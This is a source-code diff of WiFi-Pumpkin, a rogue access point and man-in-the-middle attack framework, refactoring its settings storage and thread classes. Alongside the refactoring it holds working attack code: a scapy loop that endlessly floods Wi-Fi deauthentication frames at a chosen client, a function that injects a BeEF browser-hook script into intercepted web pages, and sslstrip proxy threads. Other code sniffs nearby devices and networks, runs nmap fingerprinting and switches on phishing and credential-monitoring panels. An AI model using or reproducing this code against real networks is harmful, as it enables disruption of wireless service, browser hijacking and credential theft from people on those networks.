WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class ThreadScannerAP(QThread): + def __init__(self,interface): + QThread.__init__(self) + self.interface = interface + self.stopped = False + + def run(self): + print 'Starting Thread:' + self.objectName() + self.LoopScanmer() + + def scannerAP(self,q): + while not self.stopped: + try: + sniff(iface=self.interface, prn =lambda x : q.put(x), timeout=20) + except:pass + if self.stopped: + break + + def LoopScanmer(self): + q = Queue.Queue() + sniff = Thread(target =self.scannerAP, args = (q,)) + sniff.daemon = True + sniff.start() + while (not self.stopped): + try: + pkt = q.get(timeout = 1) + self.Scanner_devices(pkt) + except Queue.Empty: + pass + + def Scanner_devices(self,pkt): + if pkt.haslayer(Dot11): + if pkt.type == 0 and pkt.subtype == 8: + self.emit(SIGNAL('Activated( QString )'),'{}|{}|{}'.format(pkt.addr2, + str(int(ord(pkt[Dot11Elt:3].info))),pkt.info)) + + def stop(self): + self.stopped = True + print 'Stop thread:' + self.objectName() + + +class ThreadDeauth(QThread): + def __init__(self,bssid, client,interface): + QThread.__init__(self) + self.bssid = bssid + self.client = client + self.interface = interface + self.status = False + self.pkts = [] + + def run(self): + print 'Starting Thread:' + self.objectName() + self.status = True + conf.iface = self.interface + pkt1 = RadioTap()/Dot11(type=0,subtype=12,addr1=self.client, + addr2=self.bssid,addr3=self.bssid)/Dot11Deauth(reason=7) + pkt2 = Dot11(addr1=self.bssid, addr2=self.client, + addr3=self.client)/Dot11Deauth() + self.pkts.append(pkt1),self.pkts.append(pkt2) + while self.status: + for packet in self.pkts: + sendp(packet,verbose=False,count=1,iface=self.interface) + + def stop(self): + self.status = False + print 'Stop thread:' + self.objectName() + + +class ThreadProbeScan(QThread): + def __init__(self,interface): + QThread.__init__(self) + self.interface = interface + self.finished = False + + def run(self): + print "Starting Thread:" + self.objectName() + self.ProbeResqest() + def Startprobe(self,q): + while not self.finished: + try: + sniff(iface = self.interface,count = 10, prn = lambda x : q.put(x)) + except:pass + if self.finished:break + + def ProbeResqest(self): + q = Queue.Queue() + sniff = Thread(target =self.Startprobe, args = (q,)) + sniff.daemon = True + sniff.start() + while (not self.finished): + try: + pkt = q.get(timeout = 1) + self.sniff_probe(pkt) + except Queue.Empty: + pass + def sniff_probe(self,p): + if (p.haslayer(Dot11ProbeReq)): + mac_address=(p.addr2) + ssid=p[Dot11Elt].info + ssid=ssid.decode('utf-8','ignore') + if ssid == '':ssid='Hidden' + try: + devices = EUI(mac_address) + devices = devices.oui.registration().org + except: + devices = 'unknown device' + self.emit(SIGNAL("Activated( QString )"),mac_address + '|'+ssid +'|'+devices) + + def stop(self): + print "Stop thread:" + self.objectName() + self.finished = True \ No newline at end of file diff --git a/Core/utility/__init__.py b/Core/utility/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Core/utility/collection.py b/Core/utility/collection.py new file mode 100644 index 0000000..bef846a --- /dev/null +++ b/Core/utility/collection.py @@ -0,0 +1,53 @@ +from os import path +from PyQt4.QtCore import QSettings + +""" +Description: + This program is a module for wifi-pumpkin.py. + +Copyright: + Copyright (C) 2015 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class SettingsINI(object): + """ Settings INI file implemented for Wifi-Pumpkin""" + def __init__(self,filename): + if path.isfile(filename) and filename.endswith('.ini'): + self.psettings = QSettings(filename,QSettings.IniFormat) + + def get_setting(self,name_group,key,format=str): + """ Get the value for setting key """ + self.psettings.beginGroup(name_group) + value = self.psettings.value(key,type=format) + self.closeGroup() + return value + + def set_setting(self,name_group,key, value): + """ Sets the value of setting key to value """ + self.psettings.beginGroup(name_group) + self.psettings.setValue(key, value) + self.closeGroup() + + def get_all_childname(self,key): + """ get list all childskeys on file config.ini """ + return [x.split('/')[1] for x in self.get_all_keys() if x.split('/')[0] == key] + + def get_all_keys(self): + """ get all keys on settings""" + return str(self.psettings.allKeys().join("")).split("") + + def closeGroup(self): + """ close group settings""" + self.psettings.endGroup() \ No newline at end of file diff --git a/Core/utility/extract.py b/Core/utility/extract.py new file mode 100644 index 0000000..eb826d7 --- /dev/null +++ b/Core/utility/extract.py @@ -0,0 +1,61 @@ +from os import popen + +from BeautifulSoup import BeautifulSoup +from Core.utility.threads import ProcessThread + +""" +Description: + This program is a module for wifi-pumpkin.py file which includes functionality + for Phishing attack. + +Copyright: + Copyright (C) 2015 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +def airdump_start(interface): + process = ProcessThread(['xterm', + '-geometry', '85x15-1+250', '-T', + '"Scan AP Airodump-ng"', '-e', 'airodump-ng', interface, + '--write', 'Settings/Dump/networkdump']) + process.name = "Airodump-ng scan" + process.start() + process.join() + return None + +def Beef_Hook_url(soup,hook_url): + try: + for link_tag in soup.findAll('body'): + link_tag_idx = link_tag.parent.contents.index(link_tag) + link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup(hook_url)) + link_tag.parent.insert(link_tag_idx + 1, BeautifulSoup("
")) + return soup + except NameError: + print('[-] please. your need install the module python-BeautifulSoup') + +def get_network_scan(): + list_scan = [] + try: + xml = BeautifulSoup(open("Settings/Dump/networkdump-01.kismet.netxml", 'r').read()) + for network in xml.findAll('wireless-network'): + essid = network.find('essid').text + if not essid: + essid = 'Hidden' + channel = network.find('channel').text + bssid = network.find('bssid').text + list_scan.append(channel + "||" + essid + "||" + bssid) + popen("rm Settings/Dump/networkdump*") + return list_scan + except IOError: + return None \ No newline at end of file diff --git a/Core/config/Settings.py b/Core/utility/settings.py similarity index 73% rename from Core/config/Settings.py rename to Core/utility/settings.py index 1bd8275..548871d 100644 --- a/Core/config/Settings.py +++ b/Core/utility/settings.py @@ -1,7 +1,7 @@ -from PyQt4.QtGui import * -from xml.dom import minidom -from PyQt4.QtCore import * from re import search +from PyQt4.QtCore import * +from PyQt4.QtGui import * +from Core.utility.collection import SettingsINI """ Description: @@ -27,11 +27,10 @@ class frm_Settings(QDialog): def __init__(self, parent = None): super(frm_Settings, self).__init__(parent) self.setWindowTitle('Settings WiFi-Pompkin') - self.Main = QVBoxLayout() - self.frm = QFormLayout() + self.Settings = SettingsINI('Core/config/app/config.ini') + self.loadtheme(self.XmlThemeSelected()) self.setGeometry(0, 0, 420, 300) self.center() - self.loadtheme(self.XmlThemeSelected()) self.Qui() def loadtheme(self,theme): @@ -40,58 +39,40 @@ def loadtheme(self,theme): self.setStyleSheet(fh.read()) def XmlThemeSelected(self): - theme = self.xmlSettings('themes', 'selected',None,False) - return theme + return self.Settings.get_setting('settings','themes') + def center(self): frameGm = self.frameGeometry() centerPoint = QDesktopWidget().availableGeometry().center() frameGm.moveCenter(centerPoint) self.move(frameGm.topLeft()) - def xmlSettings(self,id,data,bool,show=False): - xmldoc = minidom.parse('Core/config/Settings.xml') - country = xmldoc.getElementsByTagName(id) - firstchild = country[0] - if bool != None: - firstchild.attributes[data].value = bool - xmldoc.writexml( open('Core/config/Settings.xml', 'w')) - - return firstchild.attributes[data].value - def save_settings(self): - if self.AP_0.isChecked(): - self.xmlSettings('accesspoint','actived','hostapd',False) - elif self.AP_1.isChecked(): - self.xmlSettings('accesspoint','actived','airbase-ng',False) if self.d_scapy.isChecked(): - self.xmlSettings('deauth','select','packets_scapy',False) + self.Settings.set_setting('settings','deauth','packets_scapy') elif self.d_mdk.isChecked(): - self.xmlSettings('deauth','select','packets_mdk3',False) - + self.Settings.set_setting('settings','deauth','packets_mdk3') if self.scan_scapy.isChecked(): - self.xmlSettings('scanner_AP', 'select', 'scan_scapy',False) + self.Settings.set_setting('settings','scanner_AP','scan_scapy') elif self.scan_airodump.isChecked(): - self.xmlSettings('scanner_AP', 'select', 'scan_airodump', False) - + self.Settings.set_setting('settings','scanner_AP','scan_airodump') if self.dhcp1.isChecked(): - self.xmlSettings('dhcp','dhcp_server','iscdhcpserver',False) - elif self.dhcp2.isChecked(): - self.xmlSettings('dhcp','dhcp_server','dnsmasq',False) + self.Settings.set_setting('accesspoint','dhcp_server','iscdhcpserver') if self.theme1.isChecked(): - self.xmlSettings('themes','selected','themes/theme1',False) + self.Settings.set_setting('settings','themes','themes/theme1') elif self.theme2.isChecked(): - self.xmlSettings('themes','selected','themes/theme2',False) + self.Settings.set_setting('settings','themes','themes/theme2') if self.scan1.isChecked(): - self.xmlSettings('advanced','Function_scan','Ping',False) + self.Settings.set_setting('settings','Function_scan','Ping') elif self.scan2.isChecked(): - self.xmlSettings('advanced','Function_scan','Nmap',False) - self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', str(self.txt_arguments.text()), False)) - self.txt_ranger.setText(self.xmlSettings('scan','rangeIP',str(self.txt_ranger.text()),False)) - self.interface.setText(self.xmlSettings('interface', 'monitor_mode', str(self.interface.text()), False)) - self.Apname.setText(self.xmlSettings('AP', 'name', str(self.Apname.text()), False)) - self.xmlSettings('channel', 'mchannel', str(self.channel.value()), False) - self.xmlSettings('redirect', 'port', str(self.redirectport.text()), False) - self.xmlSettings('netcreds', 'interface', str(self.InterfaceNetCreds.text()), False) + self.Settings.set_setting('settings','Function_scan','Nmap') + + self.Settings.set_setting('settings','mdk3',str(self.txt_arguments.text())) + self.Settings.set_setting('settings','scanner_rangeIP',str(self.txt_ranger.text())) + self.Settings.set_setting('accesspoint','interface',str(self.interface.text())) + self.Settings.set_setting('accesspoint','APname', str(self.Apname.text())) + self.Settings.set_setting('accesspoint','channel', str(self.channel.value())) + self.Settings.set_setting('settings','redirect_port', str(self.redirectport.text())) with open('Core/config/hostapd/hostapd+.conf','w') as apconf: apconf.write(self.ListHostapd.toPlainText()) self.close() @@ -164,6 +145,8 @@ def redirectAP(self): if search('--to-destination 10.0.0.1:80',j): self.ListRules.takeItem(i) def Qui(self): + self.Main = QVBoxLayout() + self.frm = QFormLayout() self.form = QFormLayout(self) self.tabcontrol = QTabWidget(self) @@ -219,7 +202,6 @@ def Qui(self): self.Apname = QLineEdit(self) self.channel = QSpinBox(self) self.redirectport = QLineEdit(self) - self.InterfaceNetCreds = QLineEdit(self) # page Iptables self.ListRules = QListWidget(self) @@ -230,10 +212,9 @@ def Qui(self): self.ListRules.connect(self.ListRules, SIGNAL('customContextMenuRequested(QPoint)'), self.listItemclicked) - for i in range(4): - j = self.xmlSettings('rules'+str(i),'value',None,False) + for ech in self.Settings.get_all_childname('iptables'): item = QListWidgetItem() - item.setText(j) + item.setText(self.Settings.get_setting('iptables',ech)) item.setSizeHint(QSize(30,30)) self.ListRules.addItem(item) self.check_redirect = QCheckBox('add Redirect all Port 80 to ipaddress::10.0.0.1') @@ -262,34 +243,35 @@ def Qui(self): self.gruButtonPag2.addButton(self.scan2) #page 1 - self.AP_check = self.xmlSettings('accesspoint','actived',None,False) - self.deauth_check = self.xmlSettings('deauth','select',None,False) - self.scan_AP_check = self.xmlSettings('scanner_AP', 'select', None, False) - self.dhcp_check = self.xmlSettings('dhcp', 'dhcp_server', None, False) - self.txt_ranger.setText(self.xmlSettings('scan', 'rangeIP', None, False)) - self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', None, False)) + self.AP_check = self.Settings.get_setting('accesspoint','using') + self.deauth_check = self.Settings.get_setting('settings','deauth') + self.scan_AP_check = self.Settings.get_setting('settings','scanner_AP') + self.dhcp_check = self.Settings.get_setting('accesspoint', 'dhcp_server') + self.theme_selected = self.Settings.get_setting('settings','themes') + self.txt_ranger.setText(self.Settings.get_setting('settings','scanner_rangeIP')) + self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3')) # setting page 1 - self.scanIP_selected = self.xmlSettings('advanced','Function_scan',None,False) + self.scanIP_selected = self.Settings.get_setting('settings','Function_scan') if self.scanIP_selected == 'Ping': self.scan1.setChecked(True) self.scan2.setChecked(False) elif self.scanIP_selected == 'Nmap': self.scan2.setChecked(True) self.scan1.setChecked(False) - if self.AP_check == "hostapd":self.AP_0.setChecked(True) - elif self.AP_check == "airbase-ng":self.AP_1.setChecked(True) - - if self.deauth_check == 'packets_mdk3':self.d_mdk.setChecked(True) - else:self.d_scapy.setChecked(True) - - if self.dhcp_check == 'iscdhcpserver':self.dhcp1.setChecked(True) - else:self.dhcp2.setChecked(True) - - if self.scan_AP_check == 'scan_scapy': self.scan_scapy.setChecked(True) - else:self.scan_airodump.setChecked(True) - - self.theme_selected = self.xmlSettings('themes', 'selected', None, False) + if self.AP_check == 'hostapd': self.AP_0.setChecked(True) + if self.deauth_check == 'packets_mdk3': + self.d_mdk.setChecked(True) + else: + self.d_scapy.setChecked(True) + if self.dhcp_check == 'iscdhcpserver': + self.dhcp1.setChecked(True) + else: + self.dhcp2.setChecked(True) + if self.scan_AP_check == 'scan_scapy': + self.scan_scapy.setChecked(True) + else: + self.scan_airodump.setChecked(True) if self.theme_selected == 'themes/theme1': self.theme1.setChecked(True) else: @@ -313,11 +295,11 @@ def Qui(self): self.page_1.addRow(self.theme2) #settings tab Advanced - self.interface.setText(self.xmlSettings('interface', 'monitor_mode', None, False)) - self.Apname.setText(self.xmlSettings('AP', 'name', None, False)) - self.channel.setValue(int(self.xmlSettings('channel', 'mchannel', None, False))) - self.redirectport.setText(self.xmlSettings('redirect', 'port', None, False)) - self.InterfaceNetCreds.setText(self.xmlSettings('netcreds', 'interface', None, False)) + self.interface.setText(self.Settings.get_setting('accesspoint','interface')) + self.Apname.setText(self.Settings.get_setting('accesspoint','APname')) + self.channel.setValue(int(self.Settings.get_setting('accesspoint','channel'))) + self.redirectport.setText(self.Settings.get_setting('settings','redirect_port')) + #add tab Advanced self.page_2.addRow(QLabel('Thread ScanIP:')) self.page_2.addRow(self.scan1) @@ -326,7 +308,6 @@ def Qui(self): self.page_2.addRow('AP Name:',self.Apname) self.page_2.addRow('Channel:',self.channel) self.page_2.addRow('Port sslstrip:',self.redirectport) - self.page_2.addRow('NetCreds Interface:',self.InterfaceNetCreds) self.page_2.addRow(QLabel('mdk3 Args:'),self.txt_arguments) self.page_2.addRow(QLabel('Range ARP Posion:'),self.txt_ranger) diff --git a/Core/Threads.py b/Core/utility/threads.py similarity index 62% rename from Core/Threads.py rename to Core/utility/threads.py index ee96020..4447b04 100644 --- a/Core/Threads.py +++ b/Core/utility/threads.py @@ -1,17 +1,41 @@ import argparse import logging +import signal +import threading from sys import stdout from time import asctime -from os import path,stat +from os import path,stat,getpgid,setsid,killpg from twisted.web import http from twisted.internet import reactor -from PyQt4.QtCore import QThread,pyqtSignal -from Core.config.Settings import frm_Settings -from subprocess import (Popen,PIPE,STDOUT) from Core.Utils import setup_logger -from Plugins.sergio_proxy.sslstrip.ProxyPlugins import ProxyPlugins +from subprocess import (Popen,PIPE,STDOUT) +from PyQt4.QtCore import QThread,pyqtSignal,SIGNAL from Plugins.sergio_proxy.plugins import * +try: + from nmap import PortScanner +except ImportError: + pass + +class ThreadPopen(QThread): + def __init__(self,cmd): + QThread.__init__(self) + self.cmd = cmd + self.process = None + + def getNameThread(self): + return 'Starting Thread:' + self.objectName() + def run(self): + print 'Starting Thread:' + self.objectName() + self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) + for line in iter(self.process.stdout.readline, b''): + self.emit(SIGNAL('Activated( QString )'),line.rstrip()) + + def stop(self): + print 'Stop thread:' + self.objectName() + if self.process is not None: + self.process.terminate() + self.process = None class ThRunDhcp(QThread): ''' thread: run DHCP on background fuctions''' @@ -21,10 +45,13 @@ def __init__(self,args): self.args = args self.process = None + def getNameThread(self): + return 'Starting Thread:' + self.objectName() + def run(self): print 'Starting Thread:' + self.objectName() self.process = Popen(self.args, - stdout=PIPE,stderr=STDOUT) + stdout=PIPE,stderr=STDOUT,preexec_fn=setsid) setup_logger('dhcp', './Logs/AccessPoint/dhcp.log') loggerDhcp = logging.getLogger('dhcp') loggerDhcp.info('---[ Start DHCP '+asctime()+']---') @@ -37,11 +64,101 @@ def run(self): def stop(self): print 'Stop thread:' + self.objectName() + if self.process is not None: + killpg(getpgid(self.process.pid), signal.SIGTERM) + + +class ThreadScan(QThread): + def __init__(self,gateway): + QThread.__init__(self) + self.gateway = gateway + self.result = '' + def run(self): + try: + nm = PortScanner() + a=nm.scan(hosts=self.gateway, arguments='-sU --script nbstat.nse -O -p137') + for k,v in a['scan'].iteritems(): + if str(v['status']['state']) == 'up': + try: + ip = str(v['addresses']['ipv4']) + hostname = str(v['hostscript'][0]['output']).split(',')[0] + hostname = hostname.split(':')[1] + mac = str(v['hostscript'][0]['output']).split(',')[2] + if search('',mac):mac = '' + else:mac = mac[13:32] + self.result = ip +'|'+mac.replace('\n','')+'|'+hostname.replace('\n','') + self.emit(SIGNAL('Activated( QString )'), + self.result) + except : + pass + except NameError: + QMessageBox.information(self,'error module','the module Python-nmap not installed') + + + +class ProcessThread(threading.Thread): + def __init__(self,cmd,): + threading.Thread.__init__(self) + self.cmd = cmd + self.iface = None + self.process = None + self.logger = False + self.prompt = True + + def getNameThread(self): + return 'Starting Thread:' + self.name + + def run(self): + print 'Starting Thread:' + self.name + if self.name == 'Dns2Proxy': + setup_logger('dns2proxy', './Logs/AccessPoint/dns2proxy.log') + log_dns2proxy = logging.getLogger('dns2proxy') + self.logger = True + self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) + for line in iter(self.process.stdout.readline, b''): + if self.logger: + if self.name == 'Dns2Proxy': + log_dns2proxy.info(line.rstrip()) + self.prompt = False + if self.prompt: + print (line.rstrip()) + + def stop(self): + print 'Stop thread:' + self.name if self.process is not None: self.process.terminate() self.process = None +class ProcessHostapd(QThread): + statusAP_connected = pyqtSignal(object) + def __init__(self,cmd): + QThread.__init__(self) + self.cmd = cmd + self.process= None + + def getNameThread(self): + return 'Starting Thread:' + self.objectName() + + def run(self): + print 'Starting Thread:' + self.objectName() + self.makeLogger() + self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) + for line in iter(self.process.stdout.readline, b''): + #self.log_hostapd.info(line.rstrip()) + if self.objectName() == 'hostapd': + if 'AP-STA-DISCONNECTED' in line.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in line.rstrip(): + self.statusAP_connected.emit(line.split()[2]) + + def makeLogger(self): + setup_logger('hostapd', './Logs/AccessPoint/requestAP.log') + self.log_hostapd = logging.getLogger('hostapd') + + def stop(self): + print 'Stop thread:' + self.objectName() + if self.process is not None: + self.process.terminate() + class Thread_sslstrip(QThread): '''Thread: run sslstrip on brackground''' def __init__(self,port,plugins={},data= {}): @@ -49,6 +166,10 @@ def __init__(self,port,plugins={},data= {}): self.port = port self.plugins = plugins self.loaderPlugins = data + + def getNameThread(self): + return 'Starting Thread:' + self.objectName() + def run(self): killSessions = True spoofFavicon = False @@ -68,8 +189,11 @@ def run(self): strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy if not reactor.running: - self.connector = reactor.listenTCP(int(listenPort), strippingFactory) - reactor.run(installSignalHandlers=False) + self.connector = reactor.listenTCP(int(listenPort), strippingFactory) + try: + reactor.run(installSignalHandlers=False) + except Exception: + pass def stop(self): print 'Stop thread:' + self.objectName() @@ -83,6 +207,9 @@ def __init__(self,port,plugins={},options= {}): self.PumpPlugins = plugins self.loaderPlugins = options + def getNameThread(self): + return 'Starting Thread:' + self.objectName() + def run(self): killSessions = True spoofFavicon = False @@ -194,8 +321,11 @@ def run(self): print "\nsslstrip " + sslstrip_version + " by Moxie Marlinspike running..." print "sergio-proxy v%s online" % sergio_version if not reactor.running: - self.connector = reactor.listenTCP(int(listenPort), strippingFactory) - reactor.run(installSignalHandlers=False) + self.connector = reactor.listenTCP(int(listenPort), strippingFactory) + try: + reactor.run(installSignalHandlers=False) + except Exception: + pass def stop(self): print 'Stop thread:' + self.objectName() diff --git a/Core/widgets/PopupModels.py b/Core/widgets/PopupModels.py index d128478..89c9e49 100644 --- a/Core/widgets/PopupModels.py +++ b/Core/widgets/PopupModels.py @@ -3,7 +3,6 @@ from PyQt4.QtGui import * from PyQt4.QtCore import * from Core.Utils import Refactor -from Core.config.Settings import frm_Settings """ Description: This program is a Core for wifi-pumpkin.py. file which includes functionality @@ -50,34 +49,34 @@ def checkBoxSslstrip(self): if not self.check_sslstrip.isChecked(): if not self.check_sergioProxy.isChecked(): self.unset_Rules('sslstrip') - self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) + self.FSettings.Settings.set_setting('plugins','sslstrip_plugin',False) elif self.check_sslstrip.isChecked(): if not self.check_sergioProxy.isChecked(): self.set_sslStripRule() - self.FSettings.xmlSettings('sslstrip_plugin','status','True',False) + self.FSettings.Settings.set_setting('plugins','sslstrip_plugin',True) def checkBoxSergioProxy(self): if self.check_sergioProxy.isChecked(): if not self.check_sslstrip.isChecked(): self.set_sslStripRule() - self.FSettings.xmlSettings('sergioproxy_plugin','status','True') + self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',True) elif not self.check_sergioProxy.isChecked(): if not self.check_sslstrip.isChecked(): self.unset_Rules('sslstrip') - self.FSettings.xmlSettings('sergioproxy_plugin','status','False') + self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) def checkBoxDns2proxy(self): if not self.check_dns2proy.isChecked(): self.unset_Rules('dns2proxy') - self.FSettings.xmlSettings('dns2proxy_plugin','status','False',False) + self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) elif self.check_dns2proy.isChecked(): self.set_Dns2proxyRule() - self.FSettings.xmlSettings('dns2proxy_plugin','status','True',False) + self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',True) def checkBoxNecreds(self): if self.check_netcreds.isChecked(): - self.FSettings.xmlSettings('netcreds_plugin','status','True',False) + self.FSettings.Settings.set_setting('plugins','netcreds_plugin',True) else: - self.FSettings.xmlSettings('netcreds_plugin','status','False',False) + self.FSettings.Settings.set_setting('plugins','netcreds_plugin',False) # set rules to sslstrip def set_sslStripRule(self): diff --git a/Core/widgets/TabModels.py b/Core/widgets/TabModels.py index b0187d2..e56b0e5 100644 --- a/Core/widgets/TabModels.py +++ b/Core/widgets/TabModels.py @@ -3,8 +3,9 @@ from PyQt4.QtGui import * from PyQt4.QtCore import * from datetime import datetime -from Core.Utils import Refactor,ThreadPopen -from Core.config.Settings import frm_Settings +from Core.utility.threads import ThreadPopen +from Core.utility.settings import frm_Settings +from Core.widgets.docks.DockMonitor import dockAreaAPI from Plugins.sergio_proxy.sslstrip.ProxyPlugins import ProxyPlugins """ Description: @@ -247,25 +248,30 @@ def addRequests(self,macddress,user,status): class PumpkinSettings(QVBoxLayout): ''' settings DHCP options''' sendMensage = pyqtSignal(str) - def __init__(self, parent = None): + checkDockArea = pyqtSignal(dict) + def __init__(self, parent = None,dockinfo=None,InitialMehtod=None): super(PumpkinSettings, self).__init__(parent) + self.InitialMehtod = InitialMehtod + self.dockInfo = dockinfo self.SettingsDHCP = {} self.FSettings = frm_Settings() self.mainLayout = QFormLayout() self.GroupDHCP = QGroupBox() + self.GroupArea = QGroupBox() self.layoutDHCP = QFormLayout() + self.layoutArea = QFormLayout() self.layoutbuttons = QHBoxLayout() self.btnDefault = QPushButton('default') self.btnSave = QPushButton('save settings') self.btnSave.setIcon(QIcon('Icons/export.png')) self.btnDefault.setIcon(QIcon('Icons/settings.png')) - self.leaseTime_def = QLineEdit(self.FSettings.xmlSettings('leasetimeDef', 'value',None)) - self.leaseTime_Max = QLineEdit(self.FSettings.xmlSettings('leasetimeMax', 'value',None)) - self.netmask = QLineEdit(self.FSettings.xmlSettings('netmask', 'value',None)) - self.range_dhcp = QLineEdit(self.FSettings.xmlSettings('range', 'value',None)) - self.route = QLineEdit(self.FSettings.xmlSettings('router', 'value',None)) - self.subnet = QLineEdit(self.FSettings.xmlSettings('subnet', 'value',None)) - self.broadcast = QLineEdit(self.FSettings.xmlSettings('broadcast', 'value',None)) + self.leaseTime_def = QLineEdit(self.FSettings.Settings.get_setting('dhcp','leasetimeDef')) + self.leaseTime_Max = QLineEdit(self.FSettings.Settings.get_setting('dhcp','leasetimeMax')) + self.netmask = QLineEdit(self.FSettings.Settings.get_setting('dhcp','netmask')) + self.range_dhcp = QLineEdit(self.FSettings.Settings.get_setting('dhcp','range')) + self.route = QLineEdit(self.FSettings.Settings.get_setting('dhcp','router')) + self.subnet = QLineEdit(self.FSettings.Settings.get_setting('dhcp','subnet')) + self.broadcast = QLineEdit(self.FSettings.Settings.get_setting('dhcp','broadcast')) self.GroupDHCP.setTitle('DHCP-Settings') self.GroupDHCP.setLayout(self.layoutDHCP) self.layoutDHCP.addRow('default-lease-time',self.leaseTime_def) @@ -280,29 +286,110 @@ def __init__(self, parent = None): self.layoutbuttons.addWidget(self.btnDefault) self.layoutDHCP.addRow(self.layoutbuttons) + # Area Group + self.gridArea = QGridLayout() + self.CB_ActiveMode = QCheckBox('::Advanced Mode:: Monitor MITM Attack') + self.CB_phising = QCheckBox('Phishing') + self.CB_Cread = QCheckBox('Credentials') + self.CB_monitorURL = QCheckBox('URL Monitor') + self.CB_ActiveMode.setChecked(self.FSettings.Settings.get_setting('dockarea','advanced',format=bool)) + self.CB_Cread.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool)) + self.CB_monitorURL.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool)) + self.CB_phising.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_phishing',format=bool)) + + #connect + self.doCheckAdvanced() + self.CB_ActiveMode.clicked.connect(self.doCheckAdvanced) + self.CB_phising.clicked.connect(self.doCheckAdvanced) + self.CB_monitorURL.clicked.connect(self.doCheckAdvanced) + self.CB_Cread.clicked.connect(self.doCheckAdvanced) + # group + self.layoutArea.addRow(self.CB_ActiveMode) + self.gridArea.addWidget(self.CB_monitorURL,0,0,) + self.gridArea.addWidget(self.CB_Cread,0,1) + self.gridArea.addWidget(self.CB_phising,0,2) + self.layoutArea.addRow(self.gridArea) + self.GroupArea.setTitle('MonitorArea-Settings') + self.GroupArea.setLayout(self.layoutArea) + # connects self.btnDefault.clicked.connect(self.setdefaultSettings) self.btnSave.clicked.connect(self.savesettingsDHCP) + self.mainLayout.addRow(self.GroupArea) self.mainLayout.addRow(self.GroupDHCP) self.addLayout(self.mainLayout) + def AreaWidgetLoader(self,DockInfo): + if hasattr(self,'dockList'): + for dock in self.dockList: dock.close() + self.AllDockArea = {} + if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): + self.dockList = [] + for key in DockInfo.keys(): + if DockInfo[key]['active']: + self.dock = QDockWidget(key) + self.AllDockArea[key] = dockAreaAPI(None,DockInfo[key]) + self.dock.setWidget(self.AllDockArea[key]) + self.dock.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.dock.setAllowedAreas(Qt.AllDockWidgetAreas) + self.dock.setFeatures(QDockWidget.DockWidgetMovable | QDockWidget.DockWidgetFloatable) + self.InitialMehtod.addDockWidget(Qt.RightDockWidgetArea, self.dock) + self.dockList.insert(0,self.dock) + if len(self.dockList) > 1: + for index in range(1, len(self.dockList) - 1): + if self.dockList[index].objectName() != ':: URLMonitor::': + self.InitialMehtod.tabifyDockWidget(self.dockList[index], + self.dockList[index + 1]) + try: + self.dockList[0].raise_() + except IndexError: + pass + self.checkDockArea.emit(self.AllDockArea) + + + def doCheckAdvanced(self): + if self.CB_ActiveMode.isChecked(): + self.CB_monitorURL.setEnabled(True) + self.CB_phising.setEnabled(True) + self.CB_Cread.setEnabled(True) + else: + self.CB_monitorURL.setEnabled(False) + self.CB_phising.setEnabled(False) + self.CB_Cread.setEnabled(False) + self.FSettings.Settings.set_setting('dockarea','dock_credencials',self.CB_Cread.isChecked()) + self.FSettings.Settings.set_setting('dockarea','dock_phishing',self.CB_phising.isChecked()) + self.FSettings.Settings.set_setting('dockarea','dock_urlmonitor',self.CB_monitorURL.isChecked()) + self.FSettings.Settings.set_setting('dockarea','advanced',self.CB_ActiveMode.isChecked()) + self.dockInfo[':: URLMonitor::']['active'] = self.CB_monitorURL.isChecked() + self.dockInfo['::Credentials:: ']['active'] = self.CB_Cread.isChecked() + self.dockInfo['::Pumpkin-Phishing:: ']['active'] = self.CB_phising.isChecked() + if self.CB_ActiveMode.isChecked(): + self.AreaWidgetLoader(self.dockInfo) + self.checkDockArea.emit(self.AllDockArea) + else: + if hasattr(self,'dockList'): + for dock in self.dockList: dock.close() + self.InitialMehtod.setGeometry(0, 0, 370, 520) + self.InitialMehtod.center() + + def setdefaultSettings(self): - self.leaseTime_def.setText(self.FSettings.xmlSettings('D-leasetimeDef', 'value',None)) - self.leaseTime_Max.setText(self.FSettings.xmlSettings('D-leasetimeMax', 'value',None)) - self.netmask.setText(self.FSettings.xmlSettings('D-netmask', 'value',None)) - self.range_dhcp.setText(self.FSettings.xmlSettings('D-range', 'value',None)) - self.route.setText(self.FSettings.xmlSettings('D-router', 'value',None)) - self.subnet.setText(self.FSettings.xmlSettings('D-subnet', 'value',None)) - self.broadcast.setText(self.FSettings.xmlSettings('D-broadcast', 'value',None)) + 